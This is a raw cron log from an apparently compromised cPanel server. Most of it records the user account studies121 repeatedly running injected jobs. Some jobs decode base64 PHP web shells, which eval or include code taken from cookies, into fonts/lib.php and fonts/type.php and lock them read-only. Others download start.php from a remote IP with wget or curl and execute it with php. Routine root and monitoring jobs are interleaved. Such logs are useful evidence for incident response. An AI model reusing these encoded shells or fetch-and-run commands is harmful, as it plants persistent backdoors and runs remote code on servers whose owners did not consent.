Sep  5 10:10:01 ip-184-168-122-23 CROND[22032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:11:01 ip-184-168-122-23 CROND[22153]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:11:01 ip-184-168-122-23 CROND[22152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:11:01 ip-184-168-122-23 CROND[22151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:11:01 ip-184-168-122-23 CROND[22154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:12:01 ip-184-168-122-23 CROND[22326]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:12:01 ip-184-168-122-23 CROND[22328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:12:01 ip-184-168-122-23 CROND[22329]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 10:12:01 ip-184-168-122-23 CROND[22330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:12:01 ip-184-168-122-23 CROND[22331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:13:01 ip-184-168-122-23 CROND[22610]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:13:01 ip-184-168-122-23 CROND[22611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:13:01 ip-184-168-122-23 CROND[22612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:13:01 ip-184-168-122-23 CROND[22613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:14:01 ip-184-168-122-23 CROND[22859]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 10:14:01 ip-184-168-122-23 CROND[22860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:14:01 ip-184-168-122-23 CROND[22863]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:14:01 ip-184-168-122-23 CROND[22861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:14:01 ip-184-168-122-23 CROND[22864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:15:01 ip-184-168-122-23 CROND[23033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:15:01 ip-184-168-122-23 CROND[23035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:15:01 ip-184-168-122-23 CROND[23036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:15:01 ip-184-168-122-23 CROND[23040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:15:01 ip-184-168-122-23 CROND[23042]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 10:15:01 ip-184-168-122-23 CROND[23039]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 10:15:01 ip-184-168-122-23 CROND[23041]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  5 10:16:01 ip-184-168-122-23 CROND[23250]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:16:01 ip-184-168-122-23 CROND[23254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:16:01 ip-184-168-122-23 CROND[23253]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 10:16:01 ip-184-168-122-23 CROND[23255]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 10:16:01 ip-184-168-122-23 CROND[23256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:16:01 ip-184-168-122-23 CROND[23252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:17:01 ip-184-168-122-23 CROND[23486]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:17:01 ip-184-168-122-23 CROND[23487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:17:01 ip-184-168-122-23 CROND[23488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:17:01 ip-184-168-122-23 CROND[23489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:18:01 ip-184-168-122-23 CROND[23653]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:18:01 ip-184-168-122-23 CROND[23655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:18:01 ip-184-168-122-23 CROND[23657]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 10:18:01 ip-184-168-122-23 CROND[23658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:18:01 ip-184-168-122-23 CROND[23656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:19:01 ip-184-168-122-23 CROND[23958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:19:01 ip-184-168-122-23 CROND[23961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:19:01 ip-184-168-122-23 CROND[23959]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:19:01 ip-184-168-122-23 CROND[23960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:20:01 ip-184-168-122-23 CROND[24129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:20:02 ip-184-168-122-23 CROND[24130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:20:02 ip-184-168-122-23 CROND[24132]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 10:20:02 ip-184-168-122-23 CROND[24134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:20:02 ip-184-168-122-23 CROND[24133]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 10:20:02 ip-184-168-122-23 CROND[24136]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 10:20:02 ip-184-168-122-23 CROND[24137]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 10:20:02 ip-184-168-122-23 CROND[24138]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 10:20:02 ip-184-168-122-23 CROND[24140]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:21:01 ip-184-168-122-23 CROND[24285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:21:01 ip-184-168-122-23 CROND[24288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:21:01 ip-184-168-122-23 CROND[24286]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:21:01 ip-184-168-122-23 CROND[24287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:22:01 ip-184-168-122-23 CROND[24458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:22:01 ip-184-168-122-23 CROND[24461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:22:02 ip-184-168-122-23 CROND[24460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:22:02 ip-184-168-122-23 CROND[24464]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
